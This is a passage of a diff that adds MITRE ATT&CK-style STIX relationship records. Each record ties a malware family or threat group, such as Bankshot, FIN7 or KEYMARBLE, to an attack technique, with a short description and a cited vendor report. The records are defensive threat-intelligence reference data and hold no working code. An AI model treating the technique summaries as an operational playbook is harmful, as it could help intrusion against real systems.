"attack-pattern--0259baeb-9f63-4c69-bf10-eb038c390688" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Bankshot](https://attack.mitre.org/software/S0239) encodes commands from the control server using a range of characters and gzip.", + "type": "relationship", + "created": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--78f8338a-ac4e-42cf-a887-cc35e842dc11", + "external_references": [ + { + "source_name": "McAfee Bankshot", + "description": "Sherstobitoff, R. (2018, March 08). Hidden Cobra Targets Turkish Financial Sector With New Bankshot Implant. Retrieved May 18, 2018.", + "url": "https://securingtomorrow.mcafee.com/mcafee-labs/hidden-cobra-targets-turkish-financial-sector-new-bankshot-implant/" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--1f6e3702-7ca1-4582-b2e7-4591297d05a8", + "relationship_type": "uses", + "target_ref": "attack-pattern--cc7b8c4e-9be0-47ca-b0bb-83915ec3ee2f" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[CallMe](https://attack.mitre.org/software/S0077) has the capability to download a file to the victim from the C2 server.", + "type": "relationship", + "created": "2017-12-14T16:46:06.044Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--bdd64378-e348-4156-8490-528392c6ea82", + "external_references": [ + { + "source_name": "Scarlet Mimic Jan 2016", + "description": "Falcone, R. and Miller-Osborn, J.. (2016, January 24). Scarlet Mimic: Years-Long Espionage Campaign Targets Minority Activists. Retrieved February 10, 2016.", + "url": "http://researchcenter.paloaltonetworks.com/2016/01/scarlet-mimic-years-long-espionage-targets-minority-activists/" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--cb7bcf6f-085f-41db-81ee-4b68481661b5", + "relationship_type": "uses", + "target_ref": "attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Cobalt Strike](https://attack.mitre.org/software/S0154) can use process hollowing for execution.", + "type": "relationship", + "created": "2018-01-16T16:13:52.465Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--6c303446-f8d1-424c-b1ac-8c10f82d33d7", + "external_references": [ + { + "source_name": "Cobalt Strike TTPs Dec 2017", + "description": "Cobalt Strike. (2017, December 8). Tactics, Techniques, and Procedures. Retrieved December 20, 2017.", + "url": "https://www.cobaltstrike.com/downloads/reports/tacticstechniquesandprocedures.pdf" + } + ], + "modified": "2019-06-06T19:04:39.509Z", + "source_ref": "tool--aafea02e-ece5-4bb2-91a6-3bf8c7f38a39", + "relationship_type": "uses", + "target_ref": "attack-pattern--1c338d0f-a65e-4073-a5c1-c06878849f21" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Crimson](https://attack.mitre.org/software/S0115) contains a command to collect and exfiltrate emails from Outlook.", + "type": "relationship", + "created": "2017-12-14T16:46:06.044Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--892ff1d1-3da9-489e-89c3-374ab07a417b", + "external_references": [ + { + "source_name": "Proofpoint Operation Transparent Tribe March 2016", + "description": "Huss, D.. (2016, March 1). Operation Transparent Tribe. Retrieved June 8, 2016.", + "url": "https://www.proofpoint.com/sites/default/files/proofpoint-operation-transparent-tribe-threat-insight-en.pdf" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--326af1cd-78e7-45b7-a326-125d2f7ef8f2", + "relationship_type": "uses", + "target_ref": "attack-pattern--1608f3e1-598a-42f4-a01a-2e252e81728f" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[InvisiMole](https://attack.mitre.org/software/S0260) uses WinRAR to compress data that is intended to be exfiltrated.", + "type": "relationship", + "created": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--4082e0a3-e725-4f9f-98e2-3850c8cc8df2", + "external_references": [ + { + "source_name": "ESET InvisiMole June 2018", + "description": "Hromcov\u00e1, Z. (2018, June 07). InvisiMole: Surprisingly equipped spyware, undercover since 2013. Retrieved July 10, 2018.", + "url": "https://www.welivesecurity.com/2018/06/07/invisimole-equipped-spyware-undercover/" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--47afe41c-4c08-485e-b062-c3bd209a1cce", + "relationship_type": "uses", + "target_ref": "attack-pattern--b9f5dbe2-4c55-4fc5-af2e-d42c1d182ec4" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "The net use \\\\system\\share /delete command can be used in [Net](https://attack.mitre.org/software/S0039) to remove an established connection to a network share.", + "type": "relationship", + "created": "2017-12-14T16:46:06.044Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--4e167937-d152-4c57-a7b7-e3b407470720", + "external_references": [ + { + "source_name": "Technet Net Use", + "description": "Microsoft. (n.d.). Net Use. Retrieved November 25, 2016.", + "url": "https://technet.microsoft.com/bb490717.aspx" + } + ], + "modified": "2019-04-24T23:39:01.577Z", + "source_ref": "tool--03342581-f790-4f03-ba41-e82e67392e23", + "relationship_type": "uses", + "target_ref": "attack-pattern--e7eab98d-ae11-4491-bd28-a53ba875865a" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Calisto](https://attack.mitre.org/software/S0274) presents an input prompt asking for the user's login and password.", + "type": "relationship", + "created": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--7566c29c-f071-40fa-a437-34d2f36eadb6", + "external_references": [ + { + "source_name": "Symantec Calisto July 2018", + "description": "Pantig, J. (2018, July 30). OSX.Calisto. Retrieved September 7, 2018.", + "url": "https://www.symantec.com/security-center/writeup/2018-073014-2512-99?om_rssid=sr-latestthreats30days" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--b8fdef82-d2cf-4948-8949-6466357b1be1", + "relationship_type": "uses", + "target_ref": "attack-pattern--91ce1ede-107f-4d8b-bf4c-735e8789c94b" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[OopsIE](https://attack.mitre.org/software/S0264) uses the Confuser protector to obfuscate an embedded .Net Framework assembly used for C2. [OopsIE](https://attack.mitre.org/software/S0264) also encodes collected data in hexadecimal format before writing to files on disk and obfuscates strings.", + "type": "relationship", + "created": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--ec9e1757-50c1-4fd8-a0be-2694b1bc9e99", + "external_references": [ + { + "source_name": "Unit 42 OopsIE! Feb 2018", + "description": "Lee, B., Falcone, R. (2018, February 23). OopsIE! OilRig Uses ThreeDollars to Deliver New Trojan. Retrieved July 16, 2018.", + "url": "https://researchcenter.paloaltonetworks.com/2018/02/unit42-oopsie-oilrig-uses-threedollars-deliver-new-trojan/" + }, + { + "source_name": "Unit 42 OilRig Sept 2018", + "description": "Falcone, R., et al. (2018, September 04). OilRig Targets a Middle Eastern Government and Adds Evasion Techniques to OopsIE. Retrieved September 24, 2018.", + "url": "https://researchcenter.paloaltonetworks.com/2018/09/unit42-oilrig-targets-middle-eastern-government-adds-evasion-techniques-oopsie/" + } + ], + "modified": "2019-04-24T23:40:23.527Z", + "source_ref": "malware--8e101fdd-9f7f-4916-bb04-6bd9e94c129c", + "relationship_type": "uses", + "target_ref": "attack-pattern--b3d682b6-98f2-4fb0-aa3b-b4df007ca70a" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[RemoteCMD](https://attack.mitre.org/software/S0166) copies a file over to the remote system before execution.", + "type": "relationship", + "created": "2018-01-16T16:13:52.465Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--b3831788-f18f-4315-997e-275e425c0d31", + "external_references": [ + { + "source_name": "Symantec Buckeye", + "description": "Symantec Security Response. (2016, September 6). Buckeye cyberespionage group shifts gaze from US to Hong Kong. Retrieved September 26, 2016.", + "url": "http://www.symantec.com/connect/blogs/buckeye-cyberespionage-group-shifts-gaze-us-hong-kong" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--4e6b9625-bbda-4d96-a652-b3bb45453f26", + "relationship_type": "uses", + "target_ref": "attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[OSInfo](https://attack.mitre.org/software/S0165) performs a connection test to discover remote systems in the network", + "type": "relationship", + "created": "2018-01-16T16:13:52.465Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--8765dd7e-33cc-4040-927d-bf0aa16d3d79", + "external_references": [ + { + "source_name": "Symantec Buckeye", + "description": "Symantec Security Response. (2016, September 6). Buckeye cyberespionage group shifts gaze from US to Hong Kong. Retrieved September 26, 2016.", + "url": "http://www.symantec.com/connect/blogs/buckeye-cyberespionage-group-shifts-gaze-us-hong-kong" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--f6d1d2cb-12f5-4221-9636-44606ea1f3f8", + "relationship_type": "uses", + "target_ref": "attack-pattern--e358d692-23c0-4a31-9eb6-ecc13a8d7735" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Naid](https://attack.mitre.org/software/S0205) creates Registry entries that store information about a created service and point to a malicious DLL dropped to disk.", + "type": "relationship", + "created": "2018-04-18T17:59:24.739Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--aea0804f-e322-401f-a012-c16c25e0ac70", + "external_references": [ + { + "source_name": "Symantec Naid June 2012", + "description": "Neville, A. (2012, June 15). Trojan.Naid. Retrieved February 22, 2018.", + "url": "https://www.symantec.com/security_response/writeup.jsp?docid=2012-061518-4639-99" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--48523614-309e-43bf-a2b8-705c2b45d7b2", + "relationship_type": "uses", + "target_ref": "attack-pattern--57340c81-c025-4189-8fa0-fc7ede51bae4" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "One [TYPEFRAME](https://attack.mitre.org/software/S0263) variant decrypts an archive using an RC4 key, then decompresses and installs the decrypted malicious DLL module. Another variant decodes the embedded file by XORing it with the value \"0x35\".", + "type": "relationship", + "created": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--77b9e1c5-8241-4260-8125-4bc2e1206b9c", + "external_references": [ + { + "source_name": "US-CERT TYPEFRAME June 2018", + "description": "US-CERT. (2018, June 14). MAR-10135536-12 \u2013 North Korean Trojan: TYPEFRAME. Retrieved July 13, 2018.", + "url": "https://www.us-cert.gov/ncas/analysis-reports/AR18-165A" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--7ba0fc46-197d-466d-8b9f-f1c64d5d81e5", + "relationship_type": "uses", + "target_ref": "attack-pattern--3ccef7ae-cb5e-48f6-8302-897105fbf55c" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[FIN7](https://attack.mitre.org/groups/G0046) captured screenshots and desktop video recordings.", + "type": "relationship", + "created": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--f443e72c-68a6-4d46-b2aa-96b1aafd5f6b", + "external_references": [ + { + "source_name": "DOJ FIN7 Aug 2018", + "description": "Department of Justice. (2018, August 01). HOW FIN7 ATTACKED AND STOLE DATA. Retrieved August 24, 2018.", + "url": "https://www.justice.gov/opa/press-release/file/1084361/download" + } + ], + "modified": "2019-06-30T23:13:18.537Z", + "source_ref": "intrusion-set--3753cc21-2dae-4dfb-8481-d004e74502cc", + "relationship_type": "uses", + "target_ref": "attack-pattern--0259baeb-9f63-4c69-bf10-eb038c390688" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[menuPass](https://attack.mitre.org/groups/G0045) has compressed files before exfiltration using TAR and RAR.", + "type": "relationship", + "created": "2017-12-14T16:46:06.044Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--17262c58-2f41-41d2-a86a-5bc86642ddb4", + "external_references": [ + { + "source_name": "PWC Cloud Hopper April 2017", + "description": "PwC and BAE Systems. (2017, April). Operation Cloud Hopper. Retrieved April 5, 2017.", + "url": "https://www.pwc.co.uk/cyber-security/pdf/cloud-hopper-report-final-v4.pdf" + }, + { + "source_name": "PWC Cloud Hopper Technical Annex April 2017", + "description": "PwC and BAE Systems. (2017, April). Operation Cloud Hopper: Technical Annex. Retrieved April 13, 2017.", + "url": "https://www.pwc.co.uk/cyber-security/pdf/cloud-hopper-annex-b-final.pdf" + } + ], + "modified": "2019-06-28T15:24:32.295Z", + "source_ref": "intrusion-set--222fbd21-fc4f-4b7e-9f85-0e6e3a76c33f", + "relationship_type": "uses", + "target_ref": "attack-pattern--b9f5dbe2-4c55-4fc5-af2e-d42c1d182ec4" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[HIDEDRV](https://attack.mitre.org/software/S0135) is a rootkit that hides certain operating system artifacts.", + "type": "relationship", + "created": "2017-12-14T16:46:06.044Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--69b9edd8-c1a8-4cbd-bd94-9af0fdefe013", + "external_references": [ + { + "source_name": "ESET Sednit Part 3", + "description": "ESET. (2016, October). En Route with Sednit - Part 3: A Mysterious Downloader. Retrieved November 21, 2016.", + "url": "http://www.welivesecurity.com/wp-content/uploads/2016/10/eset-sednit-part3.pdf" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--e669bb87-f773-4c7b-bfcc-a9ffebfdd8d4", + "relationship_type": "uses", + "target_ref": "attack-pattern--0f20e3cb-245b-4a61-8a91-2d93f7cb0e9b" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Pteranodon](https://attack.mitre.org/software/S0147) identifies files matching certain file extension and copies them to subdirectories it created.", + "type": "relationship", + "created": "2017-12-14T16:46:06.044Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--5d46a519-1ef9-4cdb-b737-8c7b3ffb4f0e", + "external_references": [ + { + "source_name": "Palo Alto Gamaredon Feb 2017", + "description": "Kasza, A. and Reichel, D.. (2017, February 27). The Gamaredon Group Toolset Evolution. Retrieved March 1, 2017.", + "url": "https://researchcenter.paloaltonetworks.com/2017/02/unit-42-title-gamaredon-group-toolset-evolution/" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--5f9f7648-04ba-4a9f-bb4c-2a13e74572bd", + "relationship_type": "uses", + "target_ref": "attack-pattern--7bc57495-ea59-4380-be31-a64af124ef18" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "A [JPIN](https://attack.mitre.org/software/S0201) variant downloads the backdoor payload via the BITS service.", + "type": "relationship", + "created": "2018-04-18T17:59:24.739Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--45d8c4f2-27e4-4063-9eec-d8023c61c74b", + "external_references": [ + { + "source_name": "Microsoft PLATINUM April 2016", + "description": "Windows Defender Advanced Threat Hunting Team. (2016, April 29). PLATINUM: Targeted attacks in South and Southeast Asia. Retrieved February 15, 2018.", + "url": "https://download.microsoft.com/download/2/2/5/225BFE3E-E1DE-4F5B-A77B-71200928D209/Platinum%20feature%20article%20-%20Targeted%20attacks%20in%20South%20and%20Southeast%20Asia%20April%202016.pdf" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--de6cb631-52f6-4169-a73b-7965390b0c30", + "relationship_type": "uses", + "target_ref": "attack-pattern--c8e87b83-edbb-48d4-9295-4974897525b7" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Bandook](https://attack.mitre.org/software/S0234) has modules that are capable of capturing audio.", + "type": "relationship", + "created": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--1148c339-09f2-4518-9562-c6aa11d5474f", + "external_references": [ + { + "source_name": "EFF Manul Aug 2016", + "description": "Galperin, E., Et al.. (2016, August). I Got a Letter From the Government the Other Day.... Retrieved April 25, 2018.", + "url": "https://www.eff.org/files/2016/08/03/i-got-a-letter-from-the-government.pdf" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--835a79f1-842d-472d-b8f4-d54b545c341b", + "relationship_type": "uses", + "target_ref": "attack-pattern--1035cdf2-3e5f-446f-a7a7-e8f6d7925967" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[JHUHUGIT](https://attack.mitre.org/software/S0044) has exploited CVE-2015-1701 and CVE-2015-2387 to escalate privileges.", + "type": "relationship", + "created": "2017-12-14T16:46:06.044Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--976202db-cdfa-4c4e-bc09-9b3cad90e6fb", + "external_references": [ + { + "source_name": "ESET Sednit Part 1", + "description": "ESET. (2016, October). En Route with Sednit - Part 1: Approaching the Target. Retrieved November 8, 2016.", + "url": "http://www.welivesecurity.com/wp-content/uploads/2016/10/eset-sednit-part1.pdf" + }, + { + "source_name": "ESET Sednit July 2015", + "description": "ESET Research. (2015, July 10). Sednit APT Group Meets Hacking Team. Retrieved March 1, 2017.", + "url": "http://www.welivesecurity.com/2015/07/10/sednit-apt-group-meets-hacking-team/" + } + ], + "modified": "2019-02-01T14:39:36.310Z", + "source_ref": "malware--8ae43c46-57ef-47d5-a77a-eebb35628db2", + "relationship_type": "uses", + "target_ref": "attack-pattern--b21c3b2d-02e6-45b1-980b-e69051040839" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "After encrypting C2 data, [BADNEWS](https://attack.mitre.org/software/S0128) converts it into a hexadecimal representation and then encodes it into base64.", + "type": "relationship", + "created": "2017-12-14T16:46:06.044Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--3884be12-f73f-4f9b-875e-68d40798faf6", + "external_references": [ + { + "source_name": "Forcepoint Monsoon", + "description": "Settle, A., et al. (2016, August 8). MONSOON - Analysis Of An APT Campaign. Retrieved September 22, 2016.", + "url": "https://www.forcepoint.com/sites/default/files/resources/files/forcepoint-security-labs-monsoon-analysis-report.pdf" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--e9595678-d269-469e-ae6b-75e49259de63", + "relationship_type": "uses", + "target_ref": "attack-pattern--ad255bfe-a9e6-4b52-a258-8d3462abe842" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[PlugX](https://attack.mitre.org/software/S0013) can be configured to use raw TCP or UDP for command and control.", + "type": "relationship", + "created": "2017-12-14T16:46:06.044Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--2eaea386-ee0f-42c4-bca1-ce2d22062f98", + "external_references": [ + { + "source_name": "Dell TG-3390", + "description": "Dell SecureWorks Counter Threat Unit Threat Intelligence. (2015, August 5). Threat Group-3390 Targets Organizations for Cyberespionage. Retrieved August 18, 2018.", + "url": "https://www.secureworks.com/research/threat-group-3390-targets-organizations-for-cyberespionage" + } + ], + "modified": "2019-04-19T15:08:16.037Z", + "source_ref": "malware--64fa0de0-6240-41f4-8638-f4ca7ed528fd", + "relationship_type": "uses", + "target_ref": "attack-pattern--c21d5a77-d422-4a69-acd7-2c53c1faa34b" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[POWERSTATS](https://attack.mitre.org/software/S0223) has used port 80 for C2.", + "type": "relationship", + "created": "2018-04-18T17:59:24.739Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--9b30cb8a-fc4b-44c1-ad5e-b71e430e1a8c", + "external_references": [ + { + "source_name": "Unit 42 MuddyWater Nov 2017", + "description": "Lancaster, T.. (2017, November 14). Muddying the Water: Targeted Attacks in the Middle East. Retrieved March 15, 2018.", + "url": "https://researchcenter.paloaltonetworks.com/2017/11/unit42-muddying-the-water-targeted-attacks-in-the-middle-east/" + } + ], + "modified": "2019-04-22T22:36:53.164Z", + "source_ref": "malware--e8545794-b98c-492b-a5b3-4b5a02682e37", + "relationship_type": "uses", + "target_ref": "attack-pattern--f879d51c-5476-431c-aedf-f14d207e4d1e" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Reaver](https://attack.mitre.org/software/S0172) creates a shortcut file and saves it in a Startup folder to establish persistence.", + "type": "relationship", + "created": "2018-01-16T16:13:52.465Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--0fee8bfd-aec2-44a7-8182-530a648006f3", + "external_references": [ + { + "source_name": "Palo Alto Reaver Nov 2017", + "description": "Grunzweig, J. and Miller-Osborn, J. (2017, November 10). New Malware with Ties to SunOrcal Discovered. Retrieved November 16, 2017.", + "url": "https://researchcenter.paloaltonetworks.com/2017/11/unit42-new-malware-with-ties-to-sunorcal-discovered/" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--65341f30-bec6-4b1d-8abf-1a5620446c29", + "relationship_type": "uses", + "target_ref": "attack-pattern--970cdb5c-02fb-4c38-b17e-d6327cf3c810" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[KEYMARBLE](https://attack.mitre.org/software/S0271) has a command to create Registry entries for storing data under HKEY_CURRENT_USER\\SOFTWARE\\Microsoft\\WABE\\DataPath.", + "type": "relationship", + "created": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--d4f0554e-46bb-4fd5-94e8-900dfe3198cf", + "external_references": [ + { + "source_name": "US-CERT KEYMARBLE Aug 2018", + "description": "US-CERT. (2018, August 09). MAR-10135536-17 \u2013 North Korean Trojan: KEYMARBLE. Retrieved August 16, 2018.", + "url": "https://www.us-cert.gov/ncas/analysis-reports/AR18-221A" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--11e36d5b-6a92-4bf9-8eb7-85eb24f59e22", + "relationship_type": "uses", + "target_ref": "attack-pattern--57340c81-c025-4189-8fa0-fc7ede51bae4" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Socksbot](https://attack.mitre.org/software/S0273) can start SOCKS proxy threads.", + "type": "relationship", + "created": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--a13feeb0-d376-4460-8335-f86c0f163d4b", + "external_references": [ + { + "source_name": "TrendMicro Patchwork Dec 2017", + "description": "Lunghi, D., et al. (2017, December). Untangling the Patchwork Cyberespionage Group. Retrieved July 10, 2018.", + "url": "https://documents.trendmicro.com/assets/tech-brief-untangling-the-patchwork-cyberespionage-group.pdf" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--e494ad79-37ee-4cd0-866b-299c521d8b94", + "relationship_type": "uses", + "target_ref": "attack-pattern--731f4f55-b6d0-41d1-a7a9-072a66389aea" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[HAMMERTOSS](https://attack.mitre.org/software/S0037) is known to use PowerShell.", + "type": "relationship", + "created": "2017-12-14T16:46:06.044Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--a3eca9d0-bc4b-48a8-801d-9aaa757bfe72", + "external_references": [ + { + "source_name": "FireEye APT29", + "description": "FireEye Labs. (2015, July). HAMMERTOSS: Stealthy Tactics Define a Russian Cyber Threat Group. Retrieved September 17, 2015.", + "url": "https://www2.fireeye.com/rs/848-DID-242/images/rpt-apt29-hammertoss.pdf" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--2daa14d6-cbf3-4308-bb8e-213c324a08e4", + "relationship_type": "uses", + "target_ref": "attack-pattern--f4882e23-8aa7-4b12-b28a-b349c12ee9e0" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[KEYMARBLE](https://attack.mitre.org/software/S0271) uses port 443 for C2.", + "type": "relationship", + "created": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--90d8a8de-171a-4afc-be10-1d4407a83700", + "external_references": [ + { + "source_name": "US-CERT KEYMARBLE Aug 2018", + "description": "US-CERT. (2018, August 09). MAR-10135536-17 \u2013 North Korean Trojan: KEYMARBLE. Retrieved August 16, 2018.", + "url": "https://www.us-cert.gov/ncas/analysis-reports/AR18-221A" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--11e36d5b-6a92-4bf9-8eb7-85eb24f59e22", + "relationship_type": "uses", + "target_ref": "attack-pattern--f879d51c-5476-431c-aedf-f14d207e4d1e" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[ChChes](https://attack.mitre.org/software/S0144) collects the victim's %TEMP% directory path and version of Internet Explorer.", + "type": "relationship", + "created": "2017-12-14T16:46:06.044Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--a802d52a-01f4-44c8-b80d-d2c746e1e31d", + "external_references": [ + { + "source_name": "FireEye APT10 April 2017", + "description": "FireEye iSIGHT Intelligence. (2017, April 6). APT10 (MenuPass Group): New Tools, Global Campaign Latest Manifestation of Longstanding Threat. Retrieved June 29, 2017.", + "url": "https://www.fireeye.com/blog/threat-research/2017/04/apt10_menupass_grou.html" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--dc5d1a33-62aa-4a0c-aa8c-589b87beb11e", + "relationship_type": "uses", + "target_ref": "attack-pattern--7bc57495-ea59-4380-be31-a64af124ef18" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[NETWIRE](https://attack.mitre.org/software/S0198) can capture the victim's screen.", + "type": "relationship", + "created": "2018-04-18T17:59:24.739Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--ca71a63a-4481-46d2-98b2-b83cce190380", + "external_references": [ + { + "source_name": "McAfee Netwire Mar 2015", + "description": "McAfee. (2015, March 2). Netwire RAT Behind Recent Targeted Attacks. Retrieved February 15, 2018.", + "url": "https://securingtomorrow.mcafee.com/mcafee-labs/netwire-rat-behind-recent-targeted-attacks/" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--2a70812b-f1ef-44db-8578-a496a227aef2", + "relationship_type": "uses", + "target_ref": "attack-pattern--0259baeb-9f63-4c69-bf10-eb038c390688" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[httpclient](https://attack.mitre.org/software/S0068) uses HTTP for command and control.", + "type": "relationship", + "created": "2017-12-14T16:46:06.044Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--a45f37c0-da3f-4766-bdb2-4cc1f4bda04d", + "external_references": [ + { + "source_name": "CrowdStrike Putter Panda", + "description": "Crowdstrike Global Intelligence Team. (2014, June 9). CrowdStrike Intelligence Report: Putter Panda. Retrieved January 22, 2016.", + "url": "http://cdn0.vox-cdn.com/assets/4589853/crowdstrike-intelligence-report-putter-panda.original.pdf" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--e8268361-a599-4e45-bd3f-71c8c7e700c0", + "relationship_type": "uses", + "target_ref": "attack-pattern--355be19c-ffc9-46d5-8d50-d6a036c675b6" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Catchamas](https://attack.mitre.org/software/S0261) captures screenshots 